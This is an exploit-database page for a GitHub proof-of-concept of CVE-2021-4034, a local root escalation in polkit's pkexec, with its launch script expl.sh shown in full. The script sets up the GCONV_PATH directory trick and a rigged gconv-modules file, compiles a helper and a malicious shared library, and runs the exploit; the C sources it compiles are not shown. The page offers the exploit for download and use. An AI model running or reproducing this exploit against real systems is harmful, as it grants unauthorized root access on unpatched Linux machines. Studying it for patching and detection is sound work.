Exploit database

GH-883edd6e08746d0c6fd652da2c5b6c85

mebeim/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
mebeim/cve-2021-4034Revision 3d50865b4806

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

expl.sh

Suggested starting fileShell · 513 bytes
#!/bin/sh

set -e

# Setup:
# .
# ├── GCONV_PATH=.
# │   └── fake_exe
# └── fake_exe
#     ├── gconv-modules
#     └── fake_module.so

mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./fake_exe'
chmod +x 'GCONV_PATH=./fake_exe'

mkdir -p fake_exe
echo 'module INTERNAL banana// fake_module 1' > fake_exe/gconv-modules

gcc -o helper helper.c
gcc -fPIC -shared -o fake_exe/fake_module.so fake_module.c

set +e
env PATH="$(pwd):$PATH" ./helper

rm -rf 'GCONV_PATH=.' fake_exe helper